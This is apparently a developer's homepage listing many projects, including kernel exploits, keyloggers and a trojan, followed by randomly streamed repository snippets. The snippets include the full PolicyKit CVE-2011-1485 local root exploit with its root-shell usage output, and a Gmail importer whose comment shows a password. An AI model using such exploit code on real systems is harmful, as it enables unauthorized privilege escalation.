zx2c4
I am available for freelance programming, infrastructure design, security auditing, and technology consulting. Contact me for a resume.

Projects

wireguard-windows

Updated 29 days ago
WireGuard client for Windows

cgit

Updated about a month ago
A hyperfast web frontend for git repositories written in C.

linux-rng

Updated about a month ago
Development tree for the kernel CSPRNG

glibc

Updated about a month ago
Fork of glibc for development

wireguard-linux

Updated about a month ago
WireGuard for the Linux kernel

laptop-kernel

Updated about a month ago
Linux kernel tree for laptop

qemu

Updated 2 months ago
QEMU development tree

wireguard-apple

Updated 8 months ago
iOS and macOS apps for WireGuard

wireguard-nt

Updated 11 months ago
WireGuard implementation for NT kernel

password-store

Updated 11 months ago
Simple password manager using gpg and ordinary unix directories.

wireguard-go

Updated about a year ago
Go implementation of WireGuard

wireguard-vnet-hdr-zygisk

Updated about a year ago
Set IFF_VNET_HDR on Android tun devices

wireguard-tools

Updated about a year ago
Required tools for WireGuard, such as wg(8) and wg-quick(8)

music-file-organizer

Updated about a year ago
Command-line audio file organizer that reads tags and renames files.

searchshortcut

Updated about a year ago
Android search shortcut without needing Google app

testrepo

Updated about a year ago
The testing mule. Run!

wintun-go

Updated about a year ago
Go bindings for Wintun

linux-dev

Updated 2 years ago
Linux kernel development work - see feature branches

ctmg

Updated 2 years ago
Simple wrapper around cryptsetup for encrypted containers

wireguard-freebsd

Updated 2 years ago
WireGuard implementation for the FreeBSD kernel

wireguard-linux-compat

Updated 2 years ago
WireGuard kernel module backport for Linux 3.10 - 5.5

wintun

Updated 2 years ago
Layer 3 TUN Driver for Windows

seedrng

Updated 2 years ago
Simple utility for seeding the Linux kernel RNG with seed files

cscript

Updated 2 years ago
Simple C-script executor

golang-package-server

Updated 2 years ago
Simple script for serving Golang packages

translate-highlight-from-c-to-go

Updated 2 years ago
Translate highlighter.c from C to Go

portage

Updated 2 years ago
A Portage overlay for Gentoo Linux -- ebuilds and patches found useful by zx2c4 for various projects.

go118-netip

Updated 3 years ago
Go 1.18's net/netip package for 1.17

wireguard-openbsd

Updated 3 years ago
WireGuard implementation for the OpenBSD kernel

irc-go

Updated 3 years ago
IRC bot library and utilities

downlevel-driver-enabler

Updated 3 years ago
Load Windows 10 drivers on Windows 7 and 8.1

mulder-listen-daemon

Updated 3 years ago
Listens on a given port and prints Mulder's truth to all who want to believe.

android-wireguard-module-builder

Updated 3 years ago
Builder of WireGuard module for Android kernels

go-web-services

Updated 3 years ago
Various utility web services in Go

wireguard-rs

Updated 3 years ago
Rust implementation of WireGuard

zmusic-ng

Updated 3 years ago
ZX2C4 Music web application that serves and transcodes tagged music libraries using Flask and Backbone.js.

alephpaste

Updated 3 years ago
Extremely simple private pastebin service

rhel7-kernel-sanity-patcher

Updated 4 years ago
Fetches and patches RHEL7 kernel to build with minimal config for CI

rhel7-kernel-misery

Updated 4 years ago
Attempts to make the RHEL7 kernel work in minimal CI

sha256-oid-test

Updated 4 years ago
Test repo for git's new sha256 object id format

lualdap

Updated 4 years ago
Fork of lualdap for modernization

american-unsigned-language

Updated 4 years ago
Disable kernel lockdown using ACPI SSDT injection

netifexec

Updated 4 years ago
Execute a process bound to a particular network interface

pubkey-hash-table

Updated 4 years ago
Example basic C hashtable for 32-byte key

git-daemon-dummy

Updated 4 years ago
A redirector for old git:// endpoints

telnet-password-honeypot

Updated 4 years ago
A simple telnet server that prompts users for a password and stores it in a file.

chacha20.sh

Updated 4 years ago
Chacha20 in bash script

vale-gf25519-verification

Updated 4 years ago
SAT solver verification of Vale's field arithmetic

android_kernel_wireguard

Updated 4 years ago
Android ROM directory for WireGuard inclusion

wireguard-monolithic-historical

Updated 4 years ago
Historical monolithic WireGuard repository, split into wireguard-tools, wireguard-linux, and wireguard-linux-compat.

wg-dynamic

Updated 4 years ago
Dynamic configuration daemons for WireGuard

i915-watt

Updated 4 years ago
Measure power usage of Intel graphics

clockphoto

Updated 5 years ago
Adjusts photographs based on a clock photo.

xchapolybox

Updated 5 years ago
Simple cryptobox implementation with XChaCha20Poly1305

kernel-assisted-superuser

Updated 5 years ago
Kernel assisted means of gaining a root shell for Android

hasplib

Updated 6 years ago
Mini library for accessing the USB Hasp HL dongle.

curve25519-precomp-fuzzer

Updated 6 years ago
Various fuzzers for a particular 25519 implementation

blind-operator-mode

Updated 6 years ago
Hides various networking information from operators who wish not to know it

hashpipe

Updated 6 years ago
Verify hashes in pipeline

kbench9000

Updated 6 years ago
Simple kernel land cycle counter

ipset-dns

Updated 7 years ago
A lightweight DNS forwarder that adds resolved IPs to a given netfilter ipset.

wireguard-hs

Updated 7 years ago
Haskell implementation of WireGuard

wireguard-tamarin

Updated 7 years ago
Proof of WireGuard protocol using Tamarin

qtscriptgenerator

Updated 7 years ago
Port of QtScriptGenerator to Qt5

polybench

Updated 8 years ago
Small benchmarking framework for unaligned access poly1305

OpenBSC-Bootstrap

Updated 8 years ago
Helpful scripts for using OpenBSC.

PhotoFloat

Updated 8 years ago
A Web 2.0 photo gallery done right via static JSON and dynamic JavaScript with no server-side burden but optional server-side SEO engine. Fast. Minimal.

gr-scan

Updated 8 years ago
Simple frequency scanner for GNU Radio

kernel-routing-table

Updated 9 years ago
Routing table investigations and benchmarks for the Linux kernel and WireGuard

mosh-cleaner

Updated 10 years ago
Kills stale old mosh sessions to keep pinky clean.

openrg-image-parser

Updated 10 years ago
OpenRG image format extraction utility.

laurent-tools

Updated 11 years ago
The set of scripts that make Laurent's world go round.

wifi-monitoring-scripts

Updated 11 years ago
Easy scripts for monitoring wifi signals and changing mac addresses. Useful for low-grade spoofs and airport wifi.

glouglou

Updated 11 years ago
A high performance network visualization framework.

gmail-notmuch

Updated 11 years ago
Imports emails from gmail into notmuch.

w530-kernel-patches

Updated 11 years ago
Patches for mainline Linux kernel for the Thinkpad W530.

server-execute-phantom

Updated 11 years ago
Executes ajax websites server-side for escaped fragment ajax crawl specification.

GitTools

Updated 11 years ago
Various helper tools for making new remote git repositories.

almamater

Updated 11 years ago
Skein hasher for columbia for XKCD's alma mater contest.

domain-lookup-tree

Updated 11 years ago
A tree structure in C optimized for looking up domain names.

ramc-spec

Updated 11 years ago
REST API for Music Collections (RAMC) official specification.

oldgen-zmusicuploader

Updated 11 years ago
Crazy uploader for old school ZX2C4 Music that xors data and filenames to protect against trivial automated scans.

w3-total-fail

Updated 11 years ago
Intelligently guesses hash values in order to extract Wordpress password hashes via W3 Total Cache.

knock-knock-token

Updated 11 years ago
Monitors for the removal of a USB drive, and turns computer off when drive disappears.

evdev-keylogger

Updated 11 years ago
Simple keylogger for Linux that uses evdev.

lastlog

Updated 12 years ago
Reader and editor for wtmp, utmp, lastlog, and various other unix logs.

kernel-pwn-challenge

Updated 12 years ago
Source code for building an exploitable linux kernel challenge iso.

psd.js

Updated 12 years ago
CoffeeScript PDF parser library.

oldgen-zmusic

Updated 12 years ago
Old school PHP-based ZX2C4 Music that ran for no hitches for a decade.

Pwnnel-Blicker

Updated 12 years ago
A local root exploit for the popular OS X OpenVPN manager, Tunnel Blick.

Viscatory

Updated 12 years ago
A local root exploit for Viscosity, an OSX OpenVPN client.

realbook-splitter

Updated 12 years ago
Splits various Real Books into separate PDFs per song. Useful for cellphones.

python-github3

Updated 12 years ago
Fork of the github v3 api wrapper for python.

JsonScgiQt

Updated 12 years ago
A library for Qt applications to act as an SCGI server, to interface with webservers, with a standard JSON over REST transport.

chromium-quick-proxy

Updated 12 years ago
Quick and dirty Chromium extension for toggling between different proxy settings I frequently use.

memory-hemlock

Updated 12 years ago
Time well spent: various ways to destroy your memoriez.

exheres

Updated 12 years ago
A Exheres tree for Exherbo Linux -- various programs found useful by zx2c4 for various projects.

android-connect-blinker

Updated 12 years ago
Kernel module rootkit that intercepts tcp connects to localhost on a given port and blinks the android backlight on connection. Meant for photosensor profiling.

secure.js

Updated 12 years ago
Simple javascript include to prevent HTTPS-leaks via included resources. Helps protect against man-in-the-middle attacks.

Stripe-CTF

Updated 12 years ago
Answers to Stripe's Capture the Flag.

stunnel-interceptor

Updated 12 years ago
Intercepts SSL connections with wildcard certificate for evesdropping.

CVE-2012-0056

Updated 12 years ago
Mempodipper, a linux local root exploit.

CVE-2011-4594

Updated 12 years ago
Playing with lack of copy_from_user in Linux's sendmsg.

CVE-2011-4330

Updated 12 years ago
Attempts to get the HFS kernel stack overflow bug to execute code.

CVE-2011-1485

Updated 13 years ago
PolicyKit Pwnage -- a local root exploit for Linux.

calibre-mount-helper-exploit

Updated 13 years ago
The Calibrer Assault Mount series of exploits against Calibre's numerous suid mount helper mistakes.

spark

Updated 13 years ago
▁▂▃▅▂▇ in your shell.

ServerExecute

Updated 13 years ago
Executes a webpage with javascript and ajax and returns resultant html. Replacement for simple HtmlUnit usage.

instagram-unshredder

Updated 13 years ago
Unshredder for the Instagram engineering challenge. http://bit.ly/sCMAD5

CVE-2010-3856

Updated 13 years ago
An improvement on Tavis' LD_AUDIT exploits that is more compatible with hardened setups.

termvader

Updated 13 years ago
Small program to programatically write commands into a tty device.

vcardexport

Updated 13 years ago
Exports all Meego Harmattan contacts using QtMobility to VCard, because the N950's internal GUI tool to do so is broken.

wiki-philosophy

Updated 13 years ago
How many clicks does it take to get from any word to Philosophy on Wikipedia?

LocationTracker

Updated 13 years ago
A GPS location tracker that sends coordinates to a remote server. Written for Qt platforms using QtMobility. Aimed at Nokia N950 (MeeGo) and E52 (Symbian).

OpenCV-Learning-Space

Updated 13 years ago
A sandbox for testing out new ideas in OpenCV.

WEPAutoCrack

Updated 13 years ago
Automatically builds template for cracking WEP networks and puts network card into monitor mode and sets correct channel. Also allows for easy network target selection.

BruteZip

Updated 13 years ago
A brute force ZIP file unzipper for dealing with corrupted files, via clever signature seeking algorithms.

FoxNewsSequencer

Updated 13 years ago
Bootleg bash sound sequencer for linux that uses Fox News at Columbia samples and my own guitar backing.

CVE-2010-4258

Updated 13 years ago
Exploit based on a faulty clone(2) implementation in Linux < 2.6.36.2 that allows overwrite of arbitrary kernel word with NULL. Research and personal-security use only.

Author

Updated 13 years ago
For Mac. By disabling the ability to edit while writing, Author forces you to think like an author, escaping the modern world and its invitation for disconnected thought. With Author, you'll get back to basics, plan out paragraphs at a time, write more coherently, and end writer's block.

CVE-2008-5736

Updated 13 years ago
Local root exploit for FreeBSD <= 6.4-Stable.

TalkBrowser

Updated 13 years ago
An example barebones webbrowser built for a talk on Qt at Columbia University.

Airtunes2

Updated 13 years ago
Specification of RAOP protocol with timing.

AnyLoader

Updated 13 years ago
Web-controlled encoding/uploading suite for DVDs and h264.

MovieStatistics

Updated 14 years ago
Statistics generator that crawls and scrapes for stats on search terms.

bldit

Updated 14 years ago
Configure and build tool for C++ development.

BigEyes

Updated 14 years ago
Windows trojan horse capible of screen modification, capture, file retreval, and full scripting.

DoodleRag

Updated 14 years ago
A simple keylogger for Windows in .NET.

MomentSelector

Updated 14 years ago
Chrome extension for naming IMDB quotes as AnyClip moments.

WordCloud

Updated 14 years ago
Web interface for IBM word cloud generator.

CatchAllCatcher

Updated 14 years ago
Helps find email addresses used in catch-all email on gmail.

MessagePopper

Updated 14 years ago
Simple Qt two-way client/server direct ip chat.

EmbeddedBrowserPrototype

Updated 14 years ago
Prototype of web browser plugin for using AnyClip.com with DVDs.

FramedPrototype

Updated 15 years ago
Prototype of Framed game for Google app engine.

AnyRip

Updated 15 years ago
Ripping, encoding, and title-loading suite for DVDs and h264, replaced with AnyLoader.

Subtitler

Updated 15 years ago
Helps correlate subscene subtitles with mp4 and shifts timecodes.

OldSchoolRipper

Updated 15 years ago
Original old-school python script ripper for Ubuntu.

geoemail

Updated 15 years ago
Parses email headers for ip and geographic information.

AnyClip4Boxee

Updated 15 years ago
Old Boxee app for prototype AnyClip API.

ZPlayer

Updated 15 years ago
Java applet DAAP client based on OurTunes.

QtBonjour

Updated 15 years ago
MDNS test wrapper for Qt4.

PidginSong

Updated 15 years ago
Updates bottom of Pidgin profile to show currently playing amarok song.

volfixd

Updated 15 years ago
Synchronizes LFE and Master channels of alsamixer with alsa hook.

fixID3

Updated 15 years ago
Strips and rewrites ID3 tags of mp3s so that they have maximum compatibility. Also strips ID3 comments.

trianglefractalchaos

Updated 16 years ago
Demonstration of chaos theory mathematics with triangle fractal.

zmusicplayer

Updated 16 years ago
Qt Client for ZX2C4 Music.

The scrolling code to the right is streamed live, at random, from each of these git repositories.
Looking for Edge Security? Looking for Jason?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . #!/usr/bin/env python from sys import argv, exit, stderr import os import os.path import xml.etree.ElementTree class AccessPoint: def __init__(self): self.essid = None self.encryption = set() self.packets = 0 self.beaconrate = [] self.bssid = set() self.strength = [] self.manufacturer = set() self.channel = set() def __cmp__(self, other): self = sum(self.strength) / len(self.strength) other = sum(other.strength) / len(other.strength) if self > other: return 1 elif self < other: return -1 else: return 0 def __str__(self): out = "" if self.essid is None: out += "<cloaked>\n" else: out += self.essid + "\n" out += "Encryption: %s\n" % ", ".join(self.encryption) out += "Manufacturer: %s\n" % ", ".join(self.manufacturer) out += "BSSID: %s\n" % ", ".join(self.bssid) out += "Channel: %s\n" % ", ".join(self.channel) out += "Packets: %d" % self.packets if len(self.beaconrate) > 0: out += "\nBeacon Rate: %d" % (sum(self.beaconrate) / len(self.beaconrate)) if len(self.strength) > 0: out += "\nStrength: %d" % (sum(self.strength) / len(self.strength)) if len(self.strength) > 1: out += " max: %d" % max(self.strength) return out def processDir(directory): for entry in os.listdir(directory): entry = os.path.join(directory, entry) if os.path.isdir(entry): processDir(entry) elif os.path.splitext(entry)[1] == ".netxml": processFile(entry) accessPoints = {} def processFile(xmlfile): root = xml.etree.ElementTree.parse(xmlfile).getroot() for network in root.findall("wireless-network"): ap = AccessPoint() essid = network.find("SSID/essid") if essid is None: continue if essid.get("cloaked", "false") == "true": ap.essid = None else: ap.essid = essid.text if ap.essid is not None and ap.essid in accessPoints: ap = accessPoints[ap.essid] for encryption in network.findall("SSID/encryption"): ap.encryption.add(encryption.text) packets = network.findtext("SSID/packets") if packets is not None: ap.packets += int(packets) strength = network.findtext("snr-info/max_signal_dbm") if strength is not None: ap.strength.append(int(strength)) beaconrate = network.findtext("SSID/beaconrate") if beaconrate is not None: ap.beaconrate.append(int(beaconrate)) ap.bssid.add(network.findtext("BSSID")) ap.manufacturer.add(network.findtext("manuf")) ap.channel.add(network.findtext("channel")) accessPoints[ap.essid] = ap if len(argv) < 2: print >> stderr, "Usage: %s DIRECTORIES... | FILES..." % argv[0] exit(-1) for arg in argv[1:]: if not os.path.exists(arg): print >> stderr, "%s does not exist." % arg elif os.path.isfile(arg): processFile(arg) elif os.path.isdir(arg): processDir(arg) accessPoints = sorted(accessPoints.values(), reverse=True) for ap in accessPoints: print ap print #!/usr/bin/env python # (C) Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # ============================== # == Gmail-->Notmuch Importer == # == == # == Work in progress. == # == by zx2c4 == # == == # ============================== # $ ./gmail-notmuch.py -u jason.donenfeld -p Shien8Boh2vah # Logging in... # Selecting all mail... # Receiving message list: 135126 of 135126|##################################################|100% Time: 0:00:52 2.56 kemails/s # Parsing message list and labels... # Searching for local messages... # Retagging local messages: 135124 of 135124|################################################|100% Time: 0:00:13 10.39 kemails/s # Downloading messages: 2 of 2|##############################################################|100% Time: 0:00:00 5.12 emails/s # Interrupted imports will automatically resume from where they left off. from imaplib import IMAP4_SSL from optparse import OptionParser import sys import os.path import os import shlex import re import notmuch from progressbar import * def main(): parser = OptionParser(usage="%prog --username/-u USERNAME --password/-p PASSWORD --silent/-s --debug/-d", description="Slurps gmail messages with labels into a notmuch maildir.") parser.add_option("-u", "--username", action="store", type="string", metavar="USERNAME", help="Gmail username") parser.add_option("-p", "--password", action="store", type="string", metavar="PASSWORD", help="Gmail password") parser.add_option("-d", "--debug", action="store_true", dest="debug", default=False, help="Imap debugging output") parser.add_option("-s", "--silent", action="store_true", dest="silent", default=False, help="Do not show progress information") (options, args) = parser.parse_args() if options.username is None or options.password is None: parser.error("Username and password are required.") if "@" not in options.username: options.username += "@gmail.com" if options.silent: os.close(1) try: # Create should be True, but there's a bug at the moment. database = notmuch.Database(None, False, notmuch.Database.MODE.READ_WRITE) except notmuch.NotmuchError as e: print(str(e)) sys.exit("You must create the notmuch database before running this program.") if database.needs_upgrade(): database.upgrade() destination = database.get_path() for directory in ["cur", "new", "tmp"]: try: os.mkdir(destination + "/" + directory, 0770) except: pass imap, total = login(options) messages = discover_messages(imap, total) if len(messages) == 0: print("Discovered no messages!") logout(imap) sys.exit(0) new_messages = retag_old_messages(database, messages, destination) if len(new_messages) == 0: print("Discovered no new messages!") logout(imap) sys.exit(0) try: imap.noop() except IMAP4_SSL.abort: print("Server disconnected us.") imap, total = login(options) download_new_messages(imap, database, new_messages, destination) database.close() logout(imap) def login(options): print("Logging in...") imap = IMAP4_SSL("imap.gmail.com") if options.debug: imap.debug = 10 imap.login(options.username, options.password) print("Selecting all mail...") typ, data = imap.xatom("XLIST", "", "*") if typ != "OK": sys.exit("Could not discover all mail.") allmail = None for label in imap.untagged_responses["XLIST"]: if b"\\AllMail" in label: last_quote = label.rfind("\"") penultimate_quote = label.rfind("\"", 0, last_quote) + 1 allmail = label[penultimate_quote:last_quote] if allmail is None: sys.exit("Could not parse all mail.") typ, data = imap.select("\"" + allmail + "\"", True) if typ != "OK": sys.exit("Could not select all mail.") return imap, int(data[0]) def discover_messages(imap, total): parser = re.compile(r'([0-9]+) [(]X-GM-MSGID ([0-9]+) X-GM-LABELS [(](.*)[)] FLAGS [(](.*)[)][)]') old_readline = imap.readline def new_readline(self): ret = old_readline() if b"FETCH (X-GM-MSGID " in ret: new_readline.progressbar.update(new_readline.i) new_readline.i += 1 return ret new_readline.i = 1 new_readline.progressbar = create_progressbar("Receiving message list", total).start() imap.readline = new_readline.__get__(imap, imap.__class__) typ, data = imap.fetch("1:*", "(FLAGS X-GM-LABELS X-GM-MSGID)") new_readline.progressbar.finish() imap.readline = old_readline new_messages = [] if typ != "OK": sys.exit("Failed to discover new messages: %s" % typ) print("Parsing message list and labels...") for response in data: imap_seq, gmail_id, labels, flags = parser.search(str(response)).groups() labels = filter_labels(shlex.split(labels, False, True) + flags.split(" ")) new_messages.append((gmail_id, imap_seq, labels)) return new_messages def tag_message(database, filename, labels): message = None try: message = database.find_message_by_filename(filename) if message is None: database.begin_atomic() message = database.add_message(filename, False)[0] else: if set(labels) == set(message.get_tags()): message.tags_to_maildir_flags() return database.begin_atomic() message.freeze() message.remove_all_tags(False) for tag in labels: message.add_tag(tag, False) message.thaw() database.end_atomic() message.tags_to_maildir_flags() except Exception as e: if message is not None: database.remove_message(message) database.end_atomic() raise e def create_progressbar(text, total): return ProgressBar(maxval=total, widgets=[text + ": ", SimpleProgress(), Bar(), Percentage(), " ", ETA(), " ", FileTransferSpeed(unit="emails")]) def retag_old_messages(database, messages, destination): print("Searching for local messages...") old_messages = { os.path.basename(filename[0:filename.rfind(".gmail")]): destination + "/cur/" + filename for filename in os.listdir(destination + "/cur/") if ".gmail" in filename } if len(old_messages) == 0: return messages new_messages = [] i = 1 progressbar = create_progressbar("Retagging local messages", len(old_messages)) progressbar.start() for gmail_id, imap_seq, labels in messages: if gmail_id in old_messages: tag_message(database, old_messages[gmail_id], labels) progressbar.update(i) i += 1 else: new_messages.append((gmail_id, imap_seq, labels)) progressbar.finish() return new_messages def download_new_messages(imap, database, messages, destination): i = 1 progressbar = create_progressbar("Downloading messages", len(messages)) progressbar.start() for gmail_id, imap_seq, labels in messages: temp = destination + "/tmp/" + str(gmail_id) + ".gmail" dest = destination + "/new/" + str(gmail_id) + ".gmail" if not os.path.exists(dest): typ, data = imap.fetch(str(imap_seq), "RFC822") if typ != "OK": sys.exit("Failed to download message gmail-%d/imap-%d" % (gmail_id, imap_seq)) f = open(temp, "w") f.write(data[0][1]) f.flush() os.fsync(f.fileno()) f.close() os.link(temp, dest) # Because DJB says so... os.unlink(temp) tag_message(database, dest, labels) progressbar.update(i) i += 1 progressbar.finish() def filter_labels(labels): translation = { "\\Inbox": "inbox", "\\Drafts": "draft", "\\Sent": "sent", "\\Spam": "spam", "\\Starred": "flagged", "\\Trash": "deleted", "\\Answered": "replied", "\\Flagged": "flagged", "\\Draft": "draft", "\\Deleted": "deleted", "\\Seen": "!read!", "\\Important": None, # I realize this is controversial, but I hate the priority inbox. "\\Muted": None, # I also don't intend to use the muted idea going forward. "Junk": "spam", "NonJunk": None } ret = set() for label in labels: if label in translation: if translation[label] is None: continue ret.add(translation[label]) else: ret.add(label) if "!read!" in ret: ret.remove("!read!") else: ret.add("unread") if "" in ret: ret.remove("") return ret def logout(imap): imap.close() imap.logout() if __name__ == '__main__': try: main() except KeyboardInterrupt: print("") sys.exit(1) # WEPAutoCrack ### It cracks wifi networks. Watch demo: * [mp4](demo.mp4) * [ogv](demo.ogv) * [youtube](http://www.youtube.com/embed/BnJ-2Rd3PkY) <img src="demo.jpg"> #include <stdio.h> #include <stddef.h> #include <stdlib.h> #include <errno.h> #include <signal.h> #include <string.h> #include <unistd.h> #include <sys/prctl.h> #include <linux/unistd.h> #include <linux/audit.h> #include <linux/filter.h> #include <linux/seccomp.h> #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) #if defined(__i386__) # define REG_SYSCALL REG_EAX # define ARCH_NR AUDIT_ARCH_I386 #elif defined(__x86_64__) # define REG_SYSCALL REG_RAX # define ARCH_NR AUDIT_ARCH_X86_64 #else # warning "Platform does not support seccomp filter yet" # define REG_SYSCALL 0 # define ARCH_NR 0 #endif #define VALIDATE_ARCHITECTURE \ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \ BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) #define EXAMINE_SYSCALL \ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr) #define ALLOW_SYSCALL(name) \ BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) #define KILL_PROCESS \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) /* polkit-pwnage.c * * * ============================== * = PolicyKit Pwnage = * = by zx2c4 = * = Sept 2, 2011 = * ============================== * * * Howdy folks, * * This exploits CVE-2011-1485, a race condition in PolicyKit. * * davidz25 explains: * * --begin-- * Briefly, the problem is that the UID for the parent process of pkexec(1) is * read from /proc by stat(2)'ing /proc/PID. The problem with this is that * this returns the effective uid of the process which can easily be set to 0 * by invoking a setuid-root binary such as /usr/bin/chsh in the parent * process of pkexec(1). Instead we are really interested in the real-user-id. * While there's a check in pkexec.c to avoid this problem (by comparing it to * what we expect the uid to be - namely that of the pkexec.c process itself which * is the uid of the parent process at pkexec-spawn-time), there is still a short * window where an attacker can fool pkexec/polkitd into thinking that the parent * process has uid 0 and is therefore authorized. It's pretty hard to hit this * window - I actually don't know if it can be made to work in practice. * --end-- * * Well, here is, in fact, how it's made to work in practice. There is as he said an * attempted mitigation, and the way to trigger that mitigation path is something * like this: * * $ sudo -u `whoami` pkexec sh * User of caller (0) does not match our uid (1000) * * Not what we want. So the trick is to execl to a suid at just the precise moment * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed, * and execl to the suid binary as our very next instruction. * * ** Usage ** * $ pkexec --version * pkexec version 0.101 * $ gcc polkit-pwnage.c -o pwnit * $ ./pwnit * [+] Configuring inotify for proper pid. * [+] Launching pkexec. * sh-4.2# whoami * root * sh-4.2# id * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * sh-4.2# * * ** Targets ** * This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which * as of writing uses 0.101, has backported 0.102's bug fix. A way to check * this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or * later and you're out of luck. It's likely other distributions do the same. * Fortunately, this exploit is clean enough that you can try it out without * too much collateral. * * * greets to djrbliss and davidz25. * * - zx2c4 * 2-sept-2011 * */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/inotify.h> int main(int argc, char **argv) { printf("=============================\n"); printf("= PolicyKit Pwnage =\n"); printf("= by zx2c4 =\n"); printf("= Sept 2, 2011 =\n"); printf("=============================\n\n"); if (fork()) { int fd; char pid_path[1024]; sprintf(pid_path, "/proc/%i", getpid()); printf("[+] Configuring inotify for proper pid.\n"); close(0); close(1); close(2); fd = inotify_init(); if (fd < 0) perror("[-] inotify_init"); inotify_add_watch(fd, pid_path, IN_ACCESS); read(fd, NULL, 0); execl("/usr/bin/chsh", "chsh", NULL); } else { sleep(1); printf("[+] Launching pkexec.\n"); execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL); } return 0; } #!/bin/sh depmod -a exec modprobe blind-operator-mode #!/bin/bash # SPDX-License-Identifier: GPL-2.0 # # Copyright (C) 2015-2019 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved. # # This script tests the below topology: # # ┌─────────────────────┐ ┌──────────────────────────────────┐ ┌─────────────────────┐ # │ $ns1 namespace │ │ $ns0 namespace │ │ $ns2 namespace │ # │ │ │ │ │ │ # │┌────────┐ │ │ ┌────────┐ │ │ ┌────────┐│ # ││ wg0 │───────────┼───┼────────────│ lo │────────────┼───┼───────────│ wg0 ││ # │├────────┴──────────┐│ │ ┌───────┴────────┴────────┐ │ │┌──────────┴────────┤│ # ││192.168.241.1/24 ││ │ │(ns1) (ns2) │ │ ││192.168.241.2/24 ││ # ││fd00::1/24 ││ │ │127.0.0.1:1 127.0.0.1:2│ │ ││fd00::2/24 ││ # │└───────────────────┘│ │ │[::]:1 [::]:2 │ │ │└───────────────────┘│ # └─────────────────────┘ │ └─────────────────────────┘ │ └─────────────────────┘ # └──────────────────────────────────┘ # # After the topology is prepared we run a series of TCP/UDP iperf3 tests between the # wireguard peers in $ns1 and $ns2. Note that $ns0 is the endpoint for the wg0 # interfaces in $ns1 and $ns2. See https://www.wireguard.com/netns/ for further # details on how this is accomplished. set -e exec 3>&1 export WG_HIDE_KEYS=never netns0="wg-test-$$-0" netns1="wg-test-$$-1" netns2="wg-test-$$-2" pretty() { echo -e "\x1b[32m\x1b[1m[+] ${1:+NS$1: }${2}\x1b[0m" >&3; } pp() { pretty "" "$*"; "$@"; } maybe_exec() { if [[ $BASHPID -eq $$ ]]; then "$@"; else exec "$@"; fi; } n0() { pretty 0 "$*"; maybe_exec ip netns exec $netns0 "$@"; } n1() { pretty 1 "$*"; maybe_exec ip netns exec $netns1 "$@"; } n2() { pretty 2 "$*"; maybe_exec ip netns exec $netns2 "$@"; } ip0() { pretty 0 "ip $*"; ip -n $netns0 "$@"; } ip1() { pretty 1 "ip $*"; ip -n $netns1 "$@"; } ip2() { pretty 2 "ip $*"; ip -n $netns2 "$@"; } sleep() { read -t "$1" -N 0 || true; } waitiperf() { pretty "${1//*-}" "wait for iperf:5201"; while [[ $(ss -N "$1" -tlp 'sport = 5201') != *iperf3* ]]; do sleep 0.1; done; } waitncatudp() { pretty "${1//*-}" "wait for udp:1111"; while [[ $(ss -N "$1" -ulp 'sport = 1111') != *ncat* ]]; do sleep 0.1; done; } waitncattcp() { pretty "${1//*-}" "wait for tcp:1111"; while [[ $(ss -N "$1" -tlp 'sport = 1111') != *ncat* ]]; do sleep 0.1; done; } waitiface() { pretty "${1//*-}" "wait for $2 to come up"; ip netns exec "$1" bash -c "while [[ \$(< \"/sys/class/net/$2/operstate\") != up ]]; do read -t .1 -N 0 || true; done;"; } cleanup() { set +e exec 2>/dev/null printf "$orig_message_cost" > /proc/sys/net/core/message_cost ip0 link del dev wg0 ip1 link del dev wg0 ip2 link del dev wg0 local to_kill="$(ip netns pids $netns0) $(ip netns pids $netns1) $(ip netns pids $netns2)" [[ -n $to_kill ]] && kill $to_kill pp ip netns del $netns1 pp ip netns del $netns2 pp ip netns del $netns0 exit } orig_message_cost="$(< /proc/sys/net/core/message_cost)" trap cleanup EXIT printf 0 > /proc/sys/net/core/message_cost ip netns del $netns0 2>/dev/null || true ip netns del $netns1 2>/dev/null || true ip netns del $netns2 2>/dev/null || true pp ip netns add $netns0 pp ip netns add $netns1 pp ip netns add $netns2 ip0 link set up dev lo ip0 link add dev wg0 type wireguard ip0 link set wg0 netns $netns1 ip0 link add dev wg0 type wireguard ip0 link set wg0 netns $netns2 key1="$(pp wg genkey)" key2="$(pp wg genkey)" key3="$(pp wg genkey)" pub1="$(pp wg pubkey <<<"$key1")" pub2="$(pp wg pubkey <<<"$key2")" pub3="$(pp wg pubkey <<<"$key3")" psk="$(pp wg genpsk)" [[ -n $key1 && -n $key2 && -n $psk ]] configure_peers() { ip1 addr add 192.168.241.1/24 dev wg0 ip1 addr add fd00::1/24 dev wg0 ip2 addr add 192.168.241.2/24 dev wg0 ip2 addr add fd00::2/24 dev wg0 n1 wg set wg0 \ private-key <(echo "$key1") \ listen-port 1 \ peer "$pub2" \ preshared-key <(echo "$psk") \ allowed-ips 192.168.241.2/32,fd00::2/128 n2 wg set wg0 \ private-key <(echo "$key2") \ listen-port 2 \ peer "$pub1" \ preshared-key <(echo "$psk") \ allowed-ips 192.168.241.1/32,fd00::1/128 ip1 link set up dev wg0 ip2 link set up dev wg0 } configure_peers tests() { # Ping over IPv4 n2 ping -c 10 -f -W 1 192.168.241.1 n1 ping -c 10 -f -W 1 